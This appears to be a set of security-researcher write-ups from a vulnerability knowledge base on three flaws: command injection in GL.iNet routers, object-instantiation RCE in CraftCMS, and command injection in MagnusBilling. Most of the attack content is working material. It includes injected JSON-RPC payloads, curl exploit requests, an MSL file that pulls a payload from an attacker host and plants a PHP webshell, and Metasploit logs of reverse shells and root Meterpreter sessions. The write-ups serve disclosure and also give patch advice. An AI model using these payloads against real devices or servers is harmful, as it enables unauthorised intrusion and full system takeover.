	"jsonrpc": "2.0",
	"id": 11,
	"method": "call",
	"params": [
		"NsPHdkXtENoaotxVZWLqJorU52O7J0OI",
		"logread",
		"get_system_log",
		{
			"lines": "| echo pawned >/tmp/lines.pawned",
			"module": "| echo pawned >/tmp/module.pawned"
		}
	]
}

get_crash_log function

{
	"jsonrpc": "2.0",
	"id": 11,
	"method": "call",
	"params": [
		"NsPHdkXtENoaotxVZWLqJorU52O7J0OI",
		"logread",
		"get_crash_log",
		{
			"mode": "| echo pawned >/tmp/mode.pawned",
			"log_number": "| echo pawned >/tmp/log_number.pawned"
		}
	]
}

upgrade_online function

{
	"jsonrpc": "2.0",
	"id": 11,
	"method": "call",
	"params": [
		"NsPHdkXtENoaotxVZWLqJorU52O7J0OI",
		"upgrade",
		"upgrade_online",
		{
			"url": "| echo pawned >/tmp/url.pawned",
			"sha256": "| echo pawned >/tmp/sha256.pawned",
			"keep_config": "| echo pawned >/tmp/keep_config.pawned",
			"keep_package": "| echo pawned >/tmp/keep_package.pawned"
		}
	]
}

This vulnerability requires post-authentication with a SessionID (SID) to be successful. This authentication can be circumvented by chaining this vulnerability with CVE-2023-50919 where the SID can be retrieved without any credential knowledge, hence making this exploit pre-authenticated.

I created a new module that determines the GL.iNet device model, firmware information and architecture to check if the device is vulnerable and chained the two vulnerabilities.
I have tested this module using FirmAE to emulate a GL.iNet device AR300M16 with firmware openwrt-ar300m16-4.3.7-0913-1694589994.bin.

Module in Action

GL.iNet AR300M16 emulated target

# ./run.sh -d GL.iNet /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin
[*] /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
mke2fs 1.47.0 (5-Feb-2023)
mknod: /dev/console: File exists
e2fsck 1.47.0 (5-Feb-2023)
[*] infer network start!!!

[IID] 91
[MODE] debug
[+] Network reachable on 192.168.1.1!
[+] Run debug!
Creating TAP device tap91_0...
Set 'tap91_0' persistent and owned by uid 0
Bringing up TAP device...
Starting emulation of firmware... 192.168.1.1 true false 11.438110994 -1
/root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
  import telnetlib
[*] firmware - openwrt-ar300m16-4.3.7-0913-1694589994
[*] IP - 192.168.1.1
[*] connecting to netcat (192.168.1.1:31337)
[-] failed to connect netcat
------------------------------
|       FirmAE Debugger      |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
> 1
/ #
/ # ifconfig
ifconfig
br-lan    Link encap:Ethernet  HWaddr 52:54:00:12:34:56
          inet addr:192.168.8.1  Bcast:192.168.8.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:392 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:33970 (33.1 KiB)  TX bytes:0 (0.0 B)

eth0      Link encap:Ethernet  HWaddr 52:54:00:12:34:56
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:427 errors:0 dropped:0 overruns:0 frame:0
          TX packets:44 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:42072 (41.0 KiB)  TX bytes:5068 (4.9 KiB)

eth1      Link encap:Ethernet  HWaddr 52:54:00:12:34:57
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:940 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:321480 (313.9 KiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

/ # netstat -rn
netstat -rn
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
192.168.8.0     0.0.0.0         255.255.255.0   U         0 0          0 br-lan
  • You should now be able to ping the network address 192.168.8.1 from your host and run a nmap command to check the services (HTTP TCP port 80).
  • NOTE: please check your tap network interface on your host because it might have the wrong IP setting.
  • You can change this with: ip a del 192.168.1.2/24 dev tap91_0 and ip a add 192.168.8.2/24 dev tap91_0.
 # ifconfig tap91_0
tap91_0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.2  netmask 255.255.255.0  broadcast 0.0.0.0
        inet6 fe80::6c06:aff:fefb:ab29  prefixlen 64  scopeid 0x20<link>
        ether 6e:06:0a:fb:ab:29  txqueuelen 1000  (Ethernet)
        RX packets 39  bytes 4692 (4.5 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 50  bytes 4044 (3.9 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
# ping 192.168.8.1
PING 192.168.8.1 (192.168.8.1) 56(84) bytes of data.
64 bytes from 192.168.8.1: icmp_seq=1 ttl=64 time=9.2 ms
64 bytes from 192.168.8.1: icmp_seq=2 ttl=64 time=3.18 ms
^C
--- 192.168.8.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 2.384/5.650/8.916/3.266 ms
# nmap 192.168.8.1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-03 14:47 UTC
Nmap scan report for 192.168.8.1
Host is up (0.020s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE
53/tcp  open  domain
80/tcp  open  http
443/tcp open  https
MAC Address: 52:54:00:12:34:57 (QEMU virtual NIC)

You are now ready to test the module using the emulated router hardware on IP address 192.168.8.1.

msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > info

       Name: GL.iNet Unauthenticated Remote Command Execution via the logread module.
     Module: exploit/linux/http/glinet_unauth_rce_cve_2023_50445
   Platform: Unix, Linux
       Arch: cmd, mipsle, mipsbe, armle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-12-10

Provided by:
  h00die-gr3y <h00die.gr3y@gmail.com>
  Unknown
  DZONERZY

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
      Id  Name
      --  ----
  =>  0   Unix Command
      1   Linux Dropper

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT    80               yes       The target port (UDP)
  SID                       no        Session ID
  SSL      false            no        Negotiate SSL/TLS for outgoing connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)
  VHOST                     no        HTTP server virtual host


  When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen o
                                      n all addresses.
  SRVPORT  8080             yes       The local port to listen on.

Payload information:

Description:
  A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker
  to inject and execute arbitrary shell commands via JSON parameters at the `gl_system_log` and `gl_crash_log`
  interface in the `logread` module.
  This exploit requires post-authentication using the `Admin-Token` cookie/sessionID (`SID`), typically stolen
  by the attacker.
  However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication
  through a `Lua` string pattern matching and SQL injection vulnerability. The `Admin-Token` cookie/`SID` can be
  retrieved without knowing a valid username and password.

  The following GL.iNet network products are vulnerable:
  - A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0;
  - MT6000: v4.5.0 - v4.5.3;
  - MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7;
  - E750/E750V2, MV1000: v4.3.8;
  - and potentially others (just try ;-)

  NOTE: Staged meterpreter payloads might core dump on the target, so use stage-less meterpreter payloads
  when using the Linux Dropper target.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2023-50445
  https://nvd.nist.gov/vuln/detail/CVE-2023-50919
  https://attackerkb.com/topics/3LmJ0d7rzC/cve-2023-50445
  https://attackerkb.com/topics/LdqSuqHKOj/cve-2023-50919
  https://libdzonerzy.so/articles/from-zero-to-botnet-glinet.html
  https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Using%20Shell%20Metacharacter%20Injection%20via%20API.md


View the full module info with the info -d command.

Scenarios

FirmAE GL.iNet AR300M16 Router Emulation Unix Command – cmd/unix/reverse_netcat

msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 0
target => 0
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit

[*] Started reverse TCP handler on 192.168.8.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.8.1:80 can be exploited.
[!] The service is running, but could not be validated. Product info: |4.3.7|n/a
[*] SID: NsPHdkXtENoaotxVZWLqJorU52O7J0OI
[*] Executing Unix Command for cmd/unix/reverse_netcat
[*] Command shell session 8 opened (192.168.8.2:4444 -> 192.168.8.1:53167) at 2024-01-03 11:12:18 +0000

pwd
/
id
uid=0(root) gid=0(root) groups=0(root),65533(nonevpn)
uname -a
Linux GL- 4.1.17+ #28 Sat Oct 31 17:56:39 KST 2020 mips GNU/Linux
exit

FirmAE GL.iNet AR300M16 Router Emulation Linux Dropper – linux/mipsbe/meterpreter_reverse_tcp

msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 1
target => 1
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit

[*] Started reverse TCP handler on 192.168.8.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.8.1:80 can be exploited.
[!] The service is running, but could not be validated. Product info: |4.3.7|n/a
[*] SID: Gs2KPnIsIQQUzHQkEBVN8JOcq5nV008e
[*] Executing Linux Dropper for linux/mipsbe/meterpreter_reverse_tcp
[*] Using URL: http://192.168.8.2:1981/OrfVHM15cua0w
[*] Client 192.168.8.1 (curl/7.88.1) requested /OrfVHM15cua0w
[*] Sending payload to 192.168.8.1 (curl/7.88.1)
[*] Meterpreter session 9 opened (192.168.8.2:4444 -> 192.168.8.1:48511) at 2024-01-03 08:30:52 +0000
[*] Command Stager progress - 100.00% done (117/117 bytes)
[*] Server stopped.

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.8.1
OS           :  (Linux 4.1.17+)
Architecture : mips
BuildTuple   : mips-linux-muslsf
Meterpreter  : mipsbe/linux
meterpreter > 

You can find the module here in my local repository or as PR 18648 at the Metasploit Github development.

Mitigation

The following GL.iNet network devices are vulnerable. Please patch your devices to the latest firmware release.

  • A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A => v4.0.0 < v4.5.0
  • MT6000 => v4.5.0 - v4.5.3
  • MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300 => v4.3.7
  • E750/E750V2, MV1000 => v4.3.8
  • X3000: v4.0.0 - v4.4.2
  • XE3000: v4.0.0 - v4.4.3
  • SFT1200: v4.3.6
  • and potentially others…

References

CVE-2023-50445
AttackerKB article: CVE-2023-50919 by h00die-gr3y
From zero to botnet: GL.iNet going wild by DZONERZY
GL.iNet home page
GL.iNet API 3.x documentation
GL.iNet API 4.x documentation
GL.iNet unauthenticated RCE – h00die-gr3y Metasploit local repository
GL.iNet unauthenticated RCE – Metasploit PR 18648
FirmAE
FirmAE: Towards Large-Scale Emulation of IoT Firmware for Dynamic Analysis

Credits

  • DZONERZY

And to all other good fellows who raised this concern ;–)

1

@ccondon-r7, you are most welcome!
Enjoy your upcoming Christmas and New Year.

2
Ratings
Technical Analysis

CraftCMS is a popular content management system that is widely used and available on the Internet. Unfortunately CraftCMS versions between 4.0.0-RC14.4.14 are exposed by a vulnerability allowing attackers to execute arbitrary code remotely, potentially compromising the security and integrity of the application.

The vulnerability occurs using a PHP object creation in the \craft\controllers\ConditionsController class which allows to run arbitrary PHP code by escalating the object creation calling some methods available in \GuzzleHttp\Psr7\FnStream. Using this vulnerability in combination with The Imagick Extension and MSL which stands for Magick Scripting Language, a full RCE can be achieved. MSL is a built-in ImageMagick language that facilitates the reading of images, performance of image processing tasks, and writing of results back to the filesystem. This can be leveraged to create a dummy image containing malicious PHP code using the Imagick constructor class delivering a webshell that can be accessed by the attacker, thereby executing the malicious PHP code and gaining access to the system.

Well, this is quite a mouth full, so let’s take it step by step…

Let’s first touch the part of PHP Object Creation which is the core of the issue. In this article from ptswarm written by Arseniy Sharoglazov the concept of PHP’s Arbitrary Object Instantiation is very well explained that is a flaw in which an attacker can create arbitrary objects. This flaw can come in all shapes and sizes.

Within CraftCMS versions 4.4.14 and below, this flaw can also be leveraged to run arbitrary code on a vulnerable instance.
In this blog published by Thanh on September 14, the security researchers discovered a PHP object instantiation flaw that resides in the \craft\controllers\ConditionsController class. The beforeAction method was identified and provided the ability to create an arbitrary object.
So far, so good, but you will need to find gadgets that can be used to escalate the object creation into something meaningful, like methods that allow to run code. One of these methods was found in the \GuzzleHttp\Psr7\FnStream class.

public function __destruct()
{
   if (isset($this->_fn_close)) {
       call_user_func($this->_fn_close);
   }
}

with the curl command below, you can trigger this flaw calling the method and executing the phpinfo command.

curl -sk "https://craftcms-vuln.ddev.site" -x localhost:8080 -X POST -d 'action=conditions/render&configObject[class]=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'

Capturing the response with burpsuite shows that the phpinfo is executed.

Burp response

HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=UTF-8
Date: Sun, 17 Dec 2023 17:17:41 GMT
Server: nginx
X-Powered-By: Craft CMS
X-Robots-Tag: none

    <!doctype html>
<html lang="en">

<head>
    <meta charset="utf-8"/>

    <title>Invalid Configuration – yii\base\InvalidConfigException</title>

--- SNIP REMOVED CONTENT ---

<h1 class="p">PHP Version 8.1.26</h1>
</td></tr>
</table>
<table>
<tr><td class="e">
     System
    </td>
    <td class="v">
       Linux craftcms-vuln-web 6.4.16-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Nov 16 10:55:59 UTC 2023 x86_64 
     </td>
</tr>
<tr><td class="e">
    Build Date 
  </td>
  <td class="v">
    Nov 24 2023 13:12:14 
  </td>
</tr>
<tr><td class="e">
    Build System 
  </td>
<td class="v">
    Linux 
  </td>
</tr>
<tr><td class="e">
    Server API 
  </td>
<td class="v">
   FPM/FastCGI 
   </td>
</tr>
--- ETC ETC ---

This is pretty cool, but it is quite limited what you can execute.
For instance, PHP system() calls with arguments do not work as well as inline PHP code. We have to find other gadgets that can deliver a full RCE using this flaw.

Let’s go back to the article written by Arseniy Sharoglazov. In the last section of his article, he explains the Imagick Extension and more specific to use this extension in combination with the Magick Scripting Language (MSL) to trigger a full RCE using PHP object instantiation (see section Imagick Extension and RCE #2: VID Scheme).

And surprise, surprise, CraftCMS is using this Imagick Extension which allows us to build a full RCE.

Using the Imagick constructor class in combination with MSL and a VID schema allows you to read and write images. This can be used to build an out of band RCE reading an image file with PHP code from the attacker controlled host and write it back to the CraftCMS host for execution.

Step 1:
Create an MSL file (pawn.msl) that downloads a vulnerable payload from the attacker host and writes it to CraftCMS instance.

<?xml version="1.0" encoding="UTF-8"?>
<image>
 <read filename="http://attacker_ip:8000/vuln.png" />
 <write filename="/var/www/html/web/shell.php" />
</image>

Step 2:
Create the vuln.png by adding PHP code to a small PNG image and host it on the attacker machine

exiftool -comment="<?php phpinfo(); ?>" vuln.png
python3 -m http.server 8000

Step 3:
Call the Imagick constructor class to upload the MSL file.
This typically creates a MSL file with a random filename starting with php<random chars> in the /tmp directory on the CraftCMS instance.

curl -sk "https://craftcms-vuln.ddev.site" -x localhost:8080 -X POST -H 'Content-Type: multipart/form-data' -F 'action=conditions/render' -F 'configObject[class]=craft\elements\conditions\ElementCondition' -F 'config={"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/dev/null"}}}' -F 'filename=@pawn.msl'

Step 4:
Trigger the MSL file execution using Imagick constructor class again.
You should see the vulnerable PNG getting downloaded from the attacker machine and copied to shell.php on the CraftCMS instance.

curl -sk "https://craftcms-vuln.ddev.site" -x localhost:8080 -X POST -d 'action=conditions/render&configObject[class]=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:/tmp/php*"}}}'

Step 5:
Run the vulnerable shell code (shell.php) and you should see the phpinfo back in the response.

curl -k "https://craftcms-vuln.ddev.site/shell.php" -x localhost:8080 --output -

And things get even better, because you can avoid the out of band download by using caption: and info: schemes. The combination of both allows to create a web shell in one go using the MSL syntax below.

<?xml version="1.0" encoding="UTF-8"?>
<image>
 <read filename="caption:&lt;?php phpinfo(); ?&gt;" />
 <write filename="info:/var/www/html/web/shell.php" />
</image>

I have created a Metasploit module that checks the vulnerability of a target and makes use of the vulnerability to exploit the target. It allows you to choose from different target options such as deploying and launching a PHP webshell, performing a UNIX command injection or launching native Linux Meterpreter.
You can find the module here in my local repository or as PR 18612 at the Metasploit Github development.

Mitigation

You should update your CraftCMS application to the latest version or at least to 4.4.15.

References

CVE-2023-41892
CraftCMS RCE analysis
CraftCMS Advisory
Exploiting Arbitrary Object Instantiations in PHP without Custom Classes
CraftCMS Unauthenticated RCE – h00die-gr3y Metasploit local repository
CraftCMS Unauthenticated RCE – Metasploit PR 18612
CraftCMS Installation
CraftCMS downloading previous versions

Credits

  • thanhc - https://substack.com/@thanhc discovery of the vulnerability
  • Arseniy Sharoglazov - https://swarm.ptsecurity.com/author/arseniy-sharoglazov/
  • chybeta - https://github.com/chybeta
1
Ratings
Technical Analysis

MagnusBilling is an open source tool written in PHP and JAVASCRIPT, using the EXTJS 6 and YII FRAMEWORK frameworks, aimed at IP telephony providers. It provides a complete and powerful system for anyone to start an IP telephony provider.

Unfortunately a command injection vulnerability exists in MagnusBilling versions 6 and 7. The vulnerability allows an unauthenticated user to execute arbitrary OS commands on the host, with the privileges of the web server. This is caused by a piece of demonstration code which is present in lib/icepay/icepay.php, with a call to exec() at line 753. The parameter to exec() includes the GET parameter democ, which is controlled by the user.

if (isset($_GET['demo'])) {

    if ($_GET['demo'] == 1) {
        exec("touch idepay_proccess.php");
    } else {
        exec("rm -rf idepay_proccess.php");
    }
}
if (isset($_GET['democ'])) {
    if (strlen($_GET['democ']) > 5) {
/** begin vulnerable code **/
        exec("touch " . $_GET['democ'] . '.txt');
/** end vulnerable code **/
    } else {
        exec("rm -rf *.txt");
    }
}

An unauthenticated user is able to execute arbitrary OS commands. The commands run with the privileges of the web server process, typically www-data or asterisk. At a minimum, this allows an attacker to compromise the billing system and its database.

You can simply test the vulnerability launching a curl request issuing a blind command injection using a sleep command, lets say 15 seconds.
Curl will take approximately 15 seconds to return if the target is vulnerable.

curl 'http://192.168.201.31/mbilling/lib/icepay/icepay.php?democ=iamhacked;sleep%2015;#'

A shodan search with dork http.html:"magnusbilling" still shows a significant amount of instances (2200+) that are accessible from the Public Internet from which at least 30%-40% is still vulnerable at the time of writing.

I have created a Metasploit module that checks the vulnerability of a target and makes use of the vulnerability to exploit the target. It allows you to choose from different target options such as deploying and launching an obfuscated PHP webshell, performing a UNIX command injection or launching native Linux Meterpreter.

Module in action

msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > info

       Name: Magnusbilling application unauthenticated Remote Command Execution.
     Module: exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
   Platform: PHP, Unix, Linux
       Arch: php, cmd, x64, x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-06-26

Provided by:
  h00die-gr3y <h00die.gr3y@gmail.com>
  Eldstal

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
      Id  Name
      --  ----
  =>  0   PHP
      1   Unix Command
      2   Linux Dropper

Check supported:
  Yes

Basic options:
  Name       Current Setting         Required  Description
  ----       ---------------         --------  -----------
  Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics
                                               /using-metasploit.html
  RPORT      80                      yes       The target port (TCP)
  SSL        false                   no        Negotiate SSL/TLS for outgoing connections
  SSLCert                            no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI  /mbilling               yes       The MagnusBilling endpoint URL
  URIPATH                            no        The URI to use for this exploit (default is random)
  VHOST                              no        HTTP server virtual host


  When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local ma
                                      chine or 0.0.0.0 to listen on all addresses.
  SRVPORT  8080             yes       The local port to listen on.


  When TARGET is 0:

  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  WEBSHELL                   no        The name of the webshell with extension. Webshell name will be randomly generated if left
                                       unset.

Payload information:

Description:
  A Command Injection vulnerability in magnusbilling application 6.x and 7.x allows
  remote attackers to run arbitrary commands via unauthenticated HTTP request.
  A piece of demonstration code is present in `lib/icepay/icepay.php`, with a call to an exec().
  The parameter to exec() includes the GET parameter `democ`, which is controlled by the user and
  not properly sanitised/escaped.
  After successful exploitation, an unauthenticated user is able to execute arbitrary OS commands.
  The commands run with the privileges of the web server process, typically `www-data` or `asterisk`.
  At a minimum, this allows an attacker to compromise the billing system and its database.

  The following magnusbilling applications are vulnerable:
  - Magnusbilling application version 6 (all versions);
  - Magnusbilling application up to version 7.x without commit 7af21ed620 which fixes this vulnerability;

References:
  https://nvd.nist.gov/vuln/detail/CVE-2023-30258
  https://attackerkb.com/topics/DFUJhaM5dL/cve-2023-30258
  https://eldstal.se/advisories/230327-magnusbilling.html


View the full module info with the info -d command.

Example using the PHP target option

msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > set rhosts 192.168.201.31
rhosts => 192.168.201.31
msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > exploit

[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.31:80 can be exploited.
[*] Performing command injection test issuing a sleep command of 5 seconds.
[*] Elapsed time: 5.1 seconds.
[+] The target is vulnerable. Successfully tested command injection.
[*] Executing PHP for php/meterpreter/reverse_tcp
[*] Sending stage (39927 bytes) to 192.168.201.31
[+] Deleted LfsCVIttNL.php
[*] Meterpreter session 3 opened (192.168.201.8:4444 -> 192.168.201.31:46230) at 2023-10-24 10:26:47 +0000

meterpreter > getuid
Server username: asterisk
meterpreter > sysinfo
Computer    : debian
OS          : Linux debian 6.1.0-13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.55-1 (2023-09-29) x86_64
Meterpreter : php/linux
meterpreter >

You can find the module here in my local repository or as PR 18481 at the Metasploit Github development.

Mitigation

You should update your MagnusBilling application to the latest version or remove the vulnerable code from the file lib/icepay/icepay.php under the mbilling directory at your web server root.

References

CVE-2023-30258
Security Advisory
MagnusBilling Unauthenticated RCE – h00die-gr3y Metasploit local repository
MagnusBilling Unauthenticated RCE – Metasploit PR 18481
MagnusBilling 7
MagnusBilling 6

Credits

  • eldstal.se discovery of the vulnerability